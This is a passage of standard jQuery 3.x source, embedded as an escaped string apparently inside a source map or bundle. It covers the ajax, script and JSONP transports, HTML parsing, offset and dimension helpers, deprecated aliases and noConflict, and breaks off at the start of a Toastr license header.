200,\n\n\t\t// Support: IE <=9 only\n\t\t// trac-1450: sometimes IE returns 1223 when it should be 204\n\t\t1223: 204\n\t},\n\txhrSupported = jQuery.ajaxSettings.xhr();\n\nsupport.cors = !!xhrSupported && ( \"withCredentials\" in xhrSupported );\nsupport.ajax = xhrSupported = !!xhrSupported;\n\njQuery.ajaxTransport( function( options ) {\n\tvar callback, errorCallback;\n\n\t// Cross domain only allowed if supported through XMLHttpRequest\n\tif ( support.cors || xhrSupported && !options.crossDomain ) {\n\t\treturn {\n\t\t\tsend: function( headers, complete ) {\n\t\t\t\tvar i,\n\t\t\t\t\txhr = options.xhr();\n\n\t\t\t\txhr.open(\n\t\t\t\t\toptions.type,\n\t\t\t\t\toptions.url,\n\t\t\t\t\toptions.async,\n\t\t\t\t\toptions.username,\n\t\t\t\t\toptions.password\n\t\t\t\t);\n\n\t\t\t\t// Apply custom fields if provided\n\t\t\t\tif ( options.xhrFields ) {\n\t\t\t\t\tfor ( i in options.xhrFields ) {\n\t\t\t\t\t\txhr[ i ] = options.xhrFields[ i ];\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Override mime type if needed\n\t\t\t\tif ( options.mimeType && xhr.overrideMimeType ) {\n\t\t\t\t\txhr.overrideMimeType( options.mimeType );\n\t\t\t\t}\n\n\t\t\t\t// X-Requested-With header\n\t\t\t\t// For cross-domain requests, seeing as conditions for a preflight are\n\t\t\t\t// akin to a jigsaw puzzle, we simply never set it to be sure.\n\t\t\t\t// (it can always be set on a per-request basis or even using ajaxSetup)\n\t\t\t\t// For same-domain requests, won't change header if already provided.\n\t\t\t\tif ( !options.crossDomain && !headers[ \"X-Requested-With\" ] ) {\n\t\t\t\t\theaders[ \"X-Requested-With\" ] = \"XMLHttpRequest\";\n\t\t\t\t}\n\n\t\t\t\t// Set headers\n\t\t\t\tfor ( i in headers ) {\n\t\t\t\t\txhr.setRequestHeader( i, headers[ i ] );\n\t\t\t\t}\n\n\t\t\t\t// Callback\n\t\t\t\tcallback = function( type ) {\n\t\t\t\t\treturn function() {\n\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\tcallback = errorCallback = xhr.onload =\n\t\t\t\t\t\t\t\txhr.onerror = xhr.onabort = xhr.ontimeout =\n\t\t\t\t\t\t\t\t\txhr.onreadystatechange = null;\n\n\t\t\t\t\t\t\tif ( type === \"abort\" ) {\n\t\t\t\t\t\t\t\txhr.abort();\n\t\t\t\t\t\t\t} else if ( type === \"error\" ) {\n\n\t\t\t\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t\t\t\t// On a manual native abort, IE9 throws\n\t\t\t\t\t\t\t\t// errors on any property access that is not readyState\n\t\t\t\t\t\t\t\tif ( typeof xhr.status !== \"number\" ) {\n\t\t\t\t\t\t\t\t\tcomplete( 0, \"error\" );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tcomplete(\n\n\t\t\t\t\t\t\t\t\t\t// File: protocol always yields status 0; see trac-8605, trac-14207\n\t\t\t\t\t\t\t\t\t\txhr.status,\n\t\t\t\t\t\t\t\t\t\txhr.statusText\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tcomplete(\n\t\t\t\t\t\t\t\t\txhrSuccessStatus[ xhr.status ] || xhr.status,\n\t\t\t\t\t\t\t\t\txhr.statusText,\n\n\t\t\t\t\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t\t\t\t\t// IE9 has no XHR2 but throws on binary (trac-11426)\n\t\t\t\t\t\t\t\t\t// For XHR2 non-text, let the caller handle it (gh-2498)\n\t\t\t\t\t\t\t\t\t( xhr.responseType || \"text\" ) !== \"text\" ||\n\t\t\t\t\t\t\t\t\ttypeof xhr.responseText !== \"string\" ?\n\t\t\t\t\t\t\t\t\t\t{ binary: xhr.response } :\n\t\t\t\t\t\t\t\t\t\t{ text: xhr.responseText },\n\t\t\t\t\t\t\t\t\txhr.getAllResponseHeaders()\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t};\n\n\t\t\t\t// Listen to events\n\t\t\t\txhr.onload = callback();\n\t\t\t\terrorCallback = xhr.onerror = xhr.ontimeout = callback( \"error\" );\n\n\t\t\t\t// Support: IE 9 only\n\t\t\t\t// Use onreadystatechange to replace onabort\n\t\t\t\t// to handle uncaught aborts\n\t\t\t\tif ( xhr.onabort !== undefined ) {\n\t\t\t\t\txhr.onabort = errorCallback;\n\t\t\t\t} else {\n\t\t\t\t\txhr.onreadystatechange = function() {\n\n\t\t\t\t\t\t// Check readyState before timeout as it changes\n\t\t\t\t\t\tif ( xhr.readyState === 4 ) {\n\n\t\t\t\t\t\t\t// Allow onerror to be called first,\n\t\t\t\t\t\t\t// but that will not handle a native abort\n\t\t\t\t\t\t\t// Also, save errorCallback to a variable\n\t\t\t\t\t\t\t// as xhr.onerror cannot be accessed\n\t\t\t\t\t\t\twindow.setTimeout( function() {\n\t\t\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\t\t\terrorCallback();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\t// Create the abort callback\n\t\t\t\tcallback = callback( \"abort\" );\n\n\t\t\t\ttry {\n\n\t\t\t\t\t// Do send the request (this may raise an exception)\n\t\t\t\t\txhr.send( options.hasContent && options.data || null );\n\t\t\t\t} catch ( e ) {\n\n\t\t\t\t\t// trac-14683: Only rethrow if this hasn't been notified as an error yet\n\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\tthrow e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\n// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)\njQuery.ajaxPrefilter( function( s ) {\n\tif ( s.crossDomain ) {\n\t\ts.contents.script = false;\n\t}\n} );\n\n// Install script dataType\njQuery.ajaxSetup( {\n\taccepts: {\n\t\tscript: \"text/javascript, application/javascript, \" +\n\t\t\t\"application/ecmascript, application/x-ecmascript\"\n\t},\n\tcontents: {\n\t\tscript: /\\b(?:java|ecma)script\\b/\n\t},\n\tconverters: {\n\t\t\"text script\": function( text ) {\n\t\t\tjQuery.globalEval( text );\n\t\t\treturn text;\n\t\t}\n\t}\n} );\n\n// Handle cache's special case and crossDomain\njQuery.ajaxPrefilter( \"script\", function( s ) {\n\tif ( s.cache === undefined ) {\n\t\ts.cache = false;\n\t}\n\tif ( s.crossDomain ) {\n\t\ts.type = \"GET\";\n\t}\n} );\n\n// Bind script tag hack transport\njQuery.ajaxTransport( \"script\", function( s ) {\n\n\t// This transport only deals with cross domain or forced-by-attrs requests\n\tif ( s.crossDomain || s.scriptAttrs ) {\n\t\tvar script, callback;\n\t\treturn {\n\t\t\tsend: function( _, complete ) {\n\t\t\t\tscript = jQuery( \"<script>\" )\n\t\t\t\t\t.attr( s.scriptAttrs || {} )\n\t\t\t\t\t.prop( { charset: s.scriptCharset, src: s.url } )\n\t\t\t\t\t.on( \"load error\", callback = function( evt ) {\n\t\t\t\t\t\tscript.remove();\n\t\t\t\t\t\tcallback = null;\n\t\t\t\t\t\tif ( evt ) {\n\t\t\t\t\t\t\tcomplete( evt.type === \"error\" ? 404 : 200, evt.type );\n\t\t\t\t\t\t}\n\t\t\t\t\t} );\n\n\t\t\t\t// Use native DOM manipulation to avoid our domManip AJAX trickery\n\t\t\t\tdocument.head.appendChild( script[ 0 ] );\n\t\t\t},\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\nvar oldCallbacks = [],\n\trjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\n// Default jsonp settings\njQuery.ajaxSetup( {\n\tjsonp: \"callback\",\n\tjsonpCallback: function() {\n\t\tvar callback = oldCallbacks.pop() || ( jQuery.expando + \"_\" + ( nonce.guid++ ) );\n\t\tthis[ callback ] = true;\n\t\treturn callback;\n\t}\n} );\n\n// Detect, normalize options and install callbacks for jsonp requests\njQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n\tvar callbackName, overwritten, responseContainer,\n\t\tjsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?\n\t\t\t\"url\" :\n\t\t\ttypeof s.data === \"string\" &&\n\t\t\t\t( s.contentType || \"\" )\n\t\t\t\t\t.indexOf( \"application/x-www-form-urlencoded\" ) === 0 &&\n\t\t\t\trjsonp.test( s.data ) && \"data\"\n\t\t);\n\n\t// Handle iff the expected data type is \"jsonp\" or we have a parameter to set\n\tif ( jsonProp || s.dataTypes[ 0 ] === \"jsonp\" ) {\n\n\t\t// Get callback name, remembering preexisting value associated with it\n\t\tcallbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ?\n\t\t\ts.jsonpCallback() :\n\t\t\ts.jsonpCallback;\n\n\t\t// Insert callback into url or form data\n\t\tif ( jsonProp ) {\n\t\t\ts[ jsonProp ] = s[ jsonProp ].replace( rjsonp, \"$1\" + callbackName );\n\t\t} else if ( s.jsonp !== false ) {\n\t\t\ts.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.jsonp + \"=\" + callbackName;\n\t\t}\n\n\t\t// Use data converter to retrieve json after script execution\n\t\ts.converters[ \"script json\" ] = function() {\n\t\t\tif ( !responseContainer ) {\n\t\t\t\tjQuery.error( callbackName + \" was not called\" );\n\t\t\t}\n\t\t\treturn responseContainer[ 0 ];\n\t\t};\n\n\t\t// Force json dataType\n\t\ts.dataTypes[ 0 ] = \"json\";\n\n\t\t// Install callback\n\t\toverwritten = window[ callbackName ];\n\t\twindow[ callbackName ] = function() {\n\t\t\tresponseContainer = arguments;\n\t\t};\n\n\t\t// Clean-up function (fires after converters)\n\t\tjqXHR.always( function() {\n\n\t\t\t// If previous value didn't exist - remove it\n\t\t\tif ( overwritten === undefined ) {\n\t\t\t\tjQuery( window ).removeProp( callbackName );\n\n\t\t\t// Otherwise restore preexisting value\n\t\t\t} else {\n\t\t\t\twindow[ callbackName ] = overwritten;\n\t\t\t}\n\n\t\t\t// Save back as free\n\t\t\tif ( s[ callbackName ] ) {\n\n\t\t\t\t// Make sure that re-using the options doesn't screw things around\n\t\t\t\ts.jsonpCallback = originalSettings.jsonpCallback;\n\n\t\t\t\t// Save the callback name for future use\n\t\t\t\toldCallbacks.push( callbackName );\n\t\t\t}\n\n\t\t\t// Call if it was a function and we have a response\n\t\t\tif ( responseContainer && isFunction( overwritten ) ) {\n\t\t\t\toverwritten( responseContainer[ 0 ] );\n\t\t\t}\n\n\t\t\tresponseContainer = overwritten = undefined;\n\t\t} );\n\n\t\t// Delegate to script\n\t\treturn \"script\";\n\t}\n} );\n\n\n\n\n// Support: Safari 8 only\n// In Safari 8 documents created via document.implementation.createHTMLDocument\n// collapse sibling forms: the second one becomes a child of the first one.\n// Because of that, this security measure has to be disabled in Safari 8.\n// https://bugs.webkit.org/show_bug.cgi?id=137337\nsupport.createHTMLDocument = ( function() {\n\tvar body = document.implementation.createHTMLDocument( \"\" ).body;\n\tbody.innerHTML = \"<form></form><form></form>\";\n\treturn body.childNodes.length === 2;\n} )();\n\n\n// Argument \"data\" should be string of html\n// context (optional): If specified, the fragment will be created in this context,\n// defaults to document\n// keepScripts (optional): If true, will include scripts passed in the html string\njQuery.parseHTML = function( data, context, keepScripts ) {\n\tif ( typeof data !== \"string\" ) {\n\t\treturn [];\n\t}\n\tif ( typeof context === \"boolean\" ) {\n\t\tkeepScripts = context;\n\t\tcontext = false;\n\t}\n\n\tvar base, parsed, scripts;\n\n\tif ( !context ) {\n\n\t\t// Stop scripts or inline event handlers from being executed immediately\n\t\t// by using document.implementation\n\t\tif ( support.createHTMLDocument ) {\n\t\t\tcontext = document.implementation.createHTMLDocument( \"\" );\n\n\t\t\t// Set the base href for the created document\n\t\t\t// so any parsed elements with URLs\n\t\t\t// are based on the document's URL (gh-2965)\n\t\t\tbase = context.createElement( \"base\" );\n\t\t\tbase.href = document.location.href;\n\t\t\tcontext.head.appendChild( base );\n\t\t} else {\n\t\t\tcontext = document;\n\t\t}\n\t}\n\n\tparsed = rsingleTag.exec( data );\n\tscripts = !keepScripts && [];\n\n\t// Single tag\n\tif ( parsed ) {\n\t\treturn [ context.createElement( parsed[ 1 ] ) ];\n\t}\n\n\tparsed = buildFragment( [ data ], context, scripts );\n\n\tif ( scripts && scripts.length ) {\n\t\tjQuery( scripts ).remove();\n\t}\n\n\treturn jQuery.merge( [], parsed.childNodes );\n};\n\n\n/**\n * Load a url into a page\n */\njQuery.fn.load = function( url, params, callback ) {\n\tvar selector, type, response,\n\t\tself = this,\n\t\toff = url.indexOf( \" \" );\n\n\tif ( off > -1 ) {\n\t\tselector = stripAndCollapse( url.slice( off ) );\n\t\turl = url.slice( 0, off );\n\t}\n\n\t// If it's a function\n\tif ( isFunction( params ) ) {\n\n\t\t// We assume that it's the callback\n\t\tcallback = params;\n\t\tparams = undefined;\n\n\t// Otherwise, build a param string\n\t} else if ( params && typeof params === \"object\" ) {\n\t\ttype = \"POST\";\n\t}\n\n\t// If we have elements to modify, make the request\n\tif ( self.length > 0 ) {\n\t\tjQuery.ajax( {\n\t\t\turl: url,\n\n\t\t\t// If \"type\" variable is undefined, then \"GET\" method will be used.\n\t\t\t// Make value of this field explicit since\n\t\t\t// user can override it through ajaxSetup method\n\t\t\ttype: type || \"GET\",\n\t\t\tdataType: \"html\",\n\t\t\tdata: params\n\t\t} ).done( function( responseText ) {\n\n\t\t\t// Save response for use in complete callback\n\t\t\tresponse = arguments;\n\n\t\t\tself.html( selector ?\n\n\t\t\t\t// If a selector was specified, locate the right elements in a dummy div\n\t\t\t\t// Exclude scripts to avoid IE 'Permission Denied' errors\n\t\t\t\tjQuery( \"<div>\" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :\n\n\t\t\t\t// Otherwise use the full result\n\t\t\t\tresponseText );\n\n\t\t// If the request succeeds, this function gets \"data\", \"status\", \"jqXHR\"\n\t\t// but they are ignored because response was set above.\n\t\t// If it fails, this function gets \"jqXHR\", \"status\", \"error\"\n\t\t} ).always( callback && function( jqXHR, status ) {\n\t\t\tself.each( function() {\n\t\t\t\tcallback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] );\n\t\t\t} );\n\t\t} );\n\t}\n\n\treturn this;\n};\n\n\n\n\njQuery.expr.pseudos.animated = function( elem ) {\n\treturn jQuery.grep( jQuery.timers, function( fn ) {\n\t\treturn elem === fn.elem;\n\t} ).length;\n};\n\n\n\n\njQuery.offset = {\n\tsetOffset: function( elem, options, i ) {\n\t\tvar curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,\n\t\t\tposition = jQuery.css( elem, \"position\" ),\n\t\t\tcurElem = jQuery( elem ),\n\t\t\tprops = {};\n\n\t\t// Set position first, in-case top/left are set even on static elem\n\t\tif ( position === \"static\" ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\n\t\tcurOffset = curElem.offset();\n\t\tcurCSSTop = jQuery.css( elem, \"top\" );\n\t\tcurCSSLeft = jQuery.css( elem, \"left\" );\n\t\tcalculatePosition = ( position === \"absolute\" || position === \"fixed\" ) &&\n\t\t\t( curCSSTop + curCSSLeft ).indexOf( \"auto\" ) > -1;\n\n\t\t// Need to be able to calculate position if either\n\t\t// top or left is auto and position is either absolute or fixed\n\t\tif ( calculatePosition ) {\n\t\t\tcurPosition = curElem.position();\n\t\t\tcurTop = curPosition.top;\n\t\t\tcurLeft = curPosition.left;\n\n\t\t} else {\n\t\t\tcurTop = parseFloat( curCSSTop ) || 0;\n\t\t\tcurLeft = parseFloat( curCSSLeft ) || 0;\n\t\t}\n\n\t\tif ( isFunction( options ) ) {\n\n\t\t\t// Use jQuery.extend here to allow modification of coordinates argument (gh-1848)\n\t\t\toptions = options.call( elem, i, jQuery.extend( {}, curOffset ) );\n\t\t}\n\n\t\tif ( options.top != null ) {\n\t\t\tprops.top = ( options.top - curOffset.top ) + curTop;\n\t\t}\n\t\tif ( options.left != null ) {\n\t\t\tprops.left = ( options.left - curOffset.left ) + curLeft;\n\t\t}\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\njQuery.fn.extend( {\n\n\t// offset() relates an element's border box to the document origin\n\toffset: function( options ) {\n\n\t\t// Preserve chaining for setter\n\t\tif ( arguments.length ) {\n\t\t\treturn options === undefined ?\n\t\t\t\tthis :\n\t\t\t\tthis.each( function( i ) {\n\t\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t\t} );\n\t\t}\n\n\t\tvar rect, win,\n\t\t\telem = this[ 0 ];\n\n\t\tif ( !elem ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Return zeros for disconnected and hidden (display: none) elements (gh-2310)\n\t\t// Support: IE <=11 only\n\t\t// Running getBoundingClientRect on a\n\t\t// disconnected node in IE throws an error\n\t\tif ( !elem.getClientRects().length ) {\n\t\t\treturn { top: 0, left: 0 };\n\t\t}\n\n\t\t// Get document-relative position by adding viewport scroll to viewport-relative gBCR\n\t\trect = elem.getBoundingClientRect();\n\t\twin = elem.ownerDocument.defaultView;\n\t\treturn {\n\t\t\ttop: rect.top + win.pageYOffset,\n\t\t\tleft: rect.left + win.pageXOffset\n\t\t};\n\t},\n\n\t// position() relates an element's margin box to its offset parent's padding box\n\t// This corresponds to the behavior of CSS absolute positioning\n\tposition: function() {\n\t\tif ( !this[ 0 ] ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar offsetParent, offset, doc,\n\t\t\telem = this[ 0 ],\n\t\t\tparentOffset = { top: 0, left: 0 };\n\n\t\t// position:fixed elements are offset from the viewport, which itself always has zero offset\n\t\tif ( jQuery.css( elem, \"position\" ) === \"fixed\" ) {\n\n\t\t\t// Assume position:fixed implies availability of getBoundingClientRect\n\t\t\toffset = elem.getBoundingClientRect();\n\n\t\t} else {\n\t\t\toffset = this.offset();\n\n\t\t\t// Account for the *real* offset parent, which can be the document or its root element\n\t\t\t// when a statically positioned element is identified\n\t\t\tdoc = elem.ownerDocument;\n\t\t\toffsetParent = elem.offsetParent || doc.documentElement;\n\t\t\twhile ( offsetParent &&\n\t\t\t\t( offsetParent === doc.body || offsetParent === doc.documentElement ) &&\n\t\t\t\tjQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n\n\t\t\t\toffsetParent = offsetParent.parentNode;\n\t\t\t}\n\t\t\tif ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) {\n\n\t\t\t\t// Incorporate borders into its offset, since they are outside its content origin\n\t\t\t\tparentOffset = jQuery( offsetParent ).offset();\n\t\t\t\tparentOffset.top += jQuery.css( offsetParent, \"borderTopWidth\", true );\n\t\t\t\tparentOffset.left += jQuery.css( offsetParent, \"borderLeftWidth\", true );\n\t\t\t}\n\t\t}\n\n\t\t// Subtract parent offsets and element margins\n\t\treturn {\n\t\t\ttop: offset.top - parentOffset.top - jQuery.css( elem, \"marginTop\", true ),\n\t\t\tleft: offset.left - parentOffset.left - jQuery.css( elem, \"marginLeft\", true )\n\t\t};\n\t},\n\n\t// This method will return documentElement in the following cases:\n\t// 1) For the element inside the iframe without offsetParent, this method will return\n\t// documentElement of the parent window\n\t// 2) For the hidden or detached element\n\t// 3) For body or html element, i.e. in case of the html node - it will return itself\n\t//\n\t// but those exceptions were never presented as a real life use-cases\n\t// and might be considered as more preferable results.\n\t//\n\t// This logic, however, is not guaranteed and can change at any point in the future\n\toffsetParent: function() {\n\t\treturn this.map( function() {\n\t\t\tvar offsetParent = this.offsetParent;\n\n\t\t\twhile ( offsetParent && jQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\n\t\t\treturn offsetParent || documentElement;\n\t\t} );\n\t}\n} );\n\n// Create scrollLeft and scrollTop methods\njQuery.each( { scrollLeft: \"pageXOffset\", scrollTop: \"pageYOffset\" }, function( method, prop ) {\n\tvar top = \"pageYOffset\" === prop;\n\n\tjQuery.fn[ method ] = function( val ) {\n\t\treturn access( this, function( elem, method, val ) {\n\n\t\t\t// Coalesce documents and windows\n\t\t\tvar win;\n\t\t\tif ( isWindow( elem ) ) {\n\t\t\t\twin = elem;\n\t\t\t} else if ( elem.nodeType === 9 ) {\n\t\t\t\twin = elem.defaultView;\n\t\t\t}\n\n\t\t\tif ( val === undefined ) {\n\t\t\t\treturn win ? win[ prop ] : elem[ method ];\n\t\t\t}\n\n\t\t\tif ( win ) {\n\t\t\t\twin.scrollTo(\n\t\t\t\t\t!top ? val : win.pageXOffset,\n\t\t\t\t\ttop ? val : win.pageYOffset\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\telem[ method ] = val;\n\t\t\t}\n\t\t}, method, val, arguments.length );\n\t};\n} );\n\n// Support: Safari <=7 - 9.1, Chrome <=37 - 49\n// Add the top/left cssHooks using jQuery.fn.position\n// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084\n// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347\n// getComputedStyle returns percent when specified for top/left/bottom/right;\n// rather than make the css module depend on the offset module, just check for it here\njQuery.each( [ \"top\", \"left\" ], function( _i, prop ) {\n\tjQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,\n\t\tfunction( elem, computed ) {\n\t\t\tif ( computed ) {\n\t\t\t\tcomputed = curCSS( elem, prop );\n\n\t\t\t\t// If curCSS returns percentage, fallback to offset\n\t\t\t\treturn rnumnonpx.test( computed ) ?\n\t\t\t\t\tjQuery( elem ).position()[ prop ] + \"px\" :\n\t\t\t\t\tcomputed;\n\t\t\t}\n\t\t}\n\t);\n} );\n\n\n// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods\njQuery.each( { Height: \"height\", Width: \"width\" }, function( name, type ) {\n\tjQuery.each( {\n\t\tpadding: \"inner\" + name,\n\t\tcontent: type,\n\t\t\"\": \"outer\" + name\n\t}, function( defaultExtra, funcName ) {\n\n\t\t// Margin is only for outerHeight, outerWidth\n\t\tjQuery.fn[ funcName ] = function( margin, value ) {\n\t\t\tvar chainable = arguments.length && ( defaultExtra || typeof margin !== \"boolean\" ),\n\t\t\t\textra = defaultExtra || ( margin === true || value === true ? \"margin\" : \"border\" );\n\n\t\t\treturn access( this, function( elem, type, value ) {\n\t\t\t\tvar doc;\n\n\t\t\t\tif ( isWindow( elem ) ) {\n\n\t\t\t\t\t// $( window ).outerWidth/Height return w/h including scrollbars (gh-1729)\n\t\t\t\t\treturn funcName.indexOf( \"outer\" ) === 0 ?\n\t\t\t\t\t\telem[ \"inner\" + name ] :\n\t\t\t\t\t\telem.document.documentElement[ \"client\" + name ];\n\t\t\t\t}\n\n\t\t\t\t// Get document width or height\n\t\t\t\tif ( elem.nodeType === 9 ) {\n\t\t\t\t\tdoc = elem.documentElement;\n\n\t\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],\n\t\t\t\t\t// whichever is greatest\n\t\t\t\t\treturn Math.max(\n\t\t\t\t\t\telem.body[ \"scroll\" + name ], doc[ \"scroll\" + name ],\n\t\t\t\t\t\telem.body[ \"offset\" + name ], doc[ \"offset\" + name ],\n\t\t\t\t\t\tdoc[ \"client\" + name ]\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\treturn value === undefined ?\n\n\t\t\t\t\t// Get width or height on the element, requesting but not forcing parseFloat\n\t\t\t\t\tjQuery.css( elem, type, extra ) :\n\n\t\t\t\t\t// Set width or height on the element\n\t\t\t\t\tjQuery.style( elem, type, value, extra );\n\t\t\t}, type, chainable ? margin : undefined, chainable );\n\t\t};\n\t} );\n} );\n\n\njQuery.each( [\n\t\"ajaxStart\",\n\t\"ajaxStop\",\n\t\"ajaxComplete\",\n\t\"ajaxError\",\n\t\"ajaxSuccess\",\n\t\"ajaxSend\"\n], function( _i, type ) {\n\tjQuery.fn[ type ] = function( fn ) {\n\t\treturn this.on( type, fn );\n\t};\n} );\n\n\n\n\njQuery.fn.extend( {\n\n\tbind: function( types, data, fn ) {\n\t\treturn this.on( types, null, data, fn );\n\t},\n\tunbind: function( types, fn ) {\n\t\treturn this.off( types, null, fn );\n\t},\n\n\tdelegate: function( selector, types, data, fn ) {\n\t\treturn this.on( types, selector, data, fn );\n\t},\n\tundelegate: function( selector, types, fn ) {\n\n\t\t// ( namespace ) or ( selector, types [, fn] )\n\t\treturn arguments.length === 1 ?\n\t\t\tthis.off( selector, \"**\" ) :\n\t\t\tthis.off( types, selector || \"**\", fn );\n\t},\n\n\thover: function( fnOver, fnOut ) {\n\t\treturn this\n\t\t\t.on( \"mouseenter\", fnOver )\n\t\t\t.on( \"mouseleave\", fnOut || fnOver );\n\t}\n} );\n\njQuery.each(\n\t( \"blur focus focusin focusout resize scroll click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup contextmenu\" ).split( \" \" ),\n\tfunction( _i, name ) {\n\n\t\t// Handle event binding\n\t\tjQuery.fn[ name ] = function( data, fn ) {\n\t\t\treturn arguments.length > 0 ?\n\t\t\t\tthis.on( name, null, data, fn ) :\n\t\t\t\tthis.trigger( name );\n\t\t};\n\t}\n);\n\n\n\n\n// Support: Android <=4.0 only\n// Make sure we trim BOM and NBSP\n// Require that the \"whitespace run\" starts from a non-whitespace\n// to avoid O(N^2) behavior when the engine would try matching \"\\s+$\" at each space position.\nvar rtrim = /^[\\s\\uFEFF\\xA0]+|([^\\s\\uFEFF\\xA0])[\\s\\uFEFF\\xA0]+$/g;\n\n// Bind a function to a context, optionally partially applying any\n// arguments.\n// jQuery.proxy is deprecated to promote standards (specifically Function#bind)\n// However, it is not slated for removal any time soon\njQuery.proxy = function( fn, context ) {\n\tvar tmp, args, proxy;\n\n\tif ( typeof context === \"string\" ) {\n\t\ttmp = fn[ context ];\n\t\tcontext = fn;\n\t\tfn = tmp;\n\t}\n\n\t// Quick check to determine if target is callable, in the spec\n\t// this throws a TypeError, but we will just return undefined.\n\tif ( !isFunction( fn ) ) {\n\t\treturn undefined;\n\t}\n\n\t// Simulated bind\n\targs = slice.call( arguments, 2 );\n\tproxy = function() {\n\t\treturn fn.apply( context || this, args.concat( slice.call( arguments ) ) );\n\t};\n\n\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\tproxy.guid = fn.guid = fn.guid || jQuery.guid++;\n\n\treturn proxy;\n};\n\njQuery.holdReady = function( hold ) {\n\tif ( hold ) {\n\t\tjQuery.readyWait++;\n\t} else {\n\t\tjQuery.ready( true );\n\t}\n};\njQuery.isArray = Array.isArray;\njQuery.parseJSON = JSON.parse;\njQuery.nodeName = nodeName;\njQuery.isFunction = isFunction;\njQuery.isWindow = isWindow;\njQuery.camelCase = camelCase;\njQuery.type = toType;\n\njQuery.now = Date.now;\n\njQuery.isNumeric = function( obj ) {\n\n\t// As of jQuery 3.0, isNumeric is limited to\n\t// strings and numbers (primitives or objects)\n\t// that can be coerced to finite numbers (gh-2662)\n\tvar type = jQuery.type( obj );\n\treturn ( type === \"number\" || type === \"string\" ) &&\n\n\t\t// parseFloat NaNs numeric-cast false positives (\"\")\n\t\t// ...but misinterprets leading-number strings, particularly hex literals (\"0x...\")\n\t\t// subtraction forces infinities to NaN\n\t\t!isNaN( obj - parseFloat( obj ) );\n};\n\njQuery.trim = function( text ) {\n\treturn text == null ?\n\t\t\"\" :\n\t\t( text + \"\" ).replace( rtrim, \"$1\" );\n};\n\n\n\n// Register as a named AMD module, since jQuery can be concatenated with other\n// files that may use define, but not via a proper concatenation script that\n// understands anonymous AMD modules. A named AMD is safest and most robust\n// way to register. Lowercase jquery is used because AMD module names are\n// derived from file names, and jQuery is normally delivered in a lowercase\n// file name. Do this after creating the global so that if an AMD module wants\n// to call noConflict to hide this version of jQuery, it will work.\n\n// Note that for maximum portability, libraries that are not jQuery should\n// declare themselves as anonymous modules, and avoid setting a global if an\n// AMD loader is present. jQuery is a special case. For more information, see\n// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon\n\nif ( typeof define === \"function\" && define.amd ) {\n\tdefine( \"jquery\", [], function() {\n\t\treturn jQuery;\n\t} );\n}\n\n\n\n\nvar\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$;\n\njQuery.noConflict = function( deep ) {\n\tif ( window.$ === jQuery ) {\n\t\twindow.$ = _$;\n\t}\n\n\tif ( deep && window.jQuery === jQuery ) {\n\t\twindow.jQuery = _jQuery;\n\t}\n\n\treturn jQuery;\n};\n\n// Expose jQuery and $ identifiers, even in AMD\n// (trac-7102#comment:10, https://github.com/jquery/jquery/pull/557)\n// and CommonJS for browser emulators (trac-13566)\nif ( typeof noGlobal === \"undefined\" ) {\n\twindow.jQuery = window.$ = jQuery;\n}\n\n\n\n\nreturn jQuery;\n} );\n","/*\n * Toastr\n * Copyright 2012-2015\n * Authors: John Papa, Hans Fjällemark, and Tim Ferrell.\n * All Rights Reserved.\n * Use, reproduction, distribution, and modification of this code is subject to the terms and\n * conditions of the MIT license, available at http://www.opensource.org/licenses/mit-license.php\n *\n * ARIA 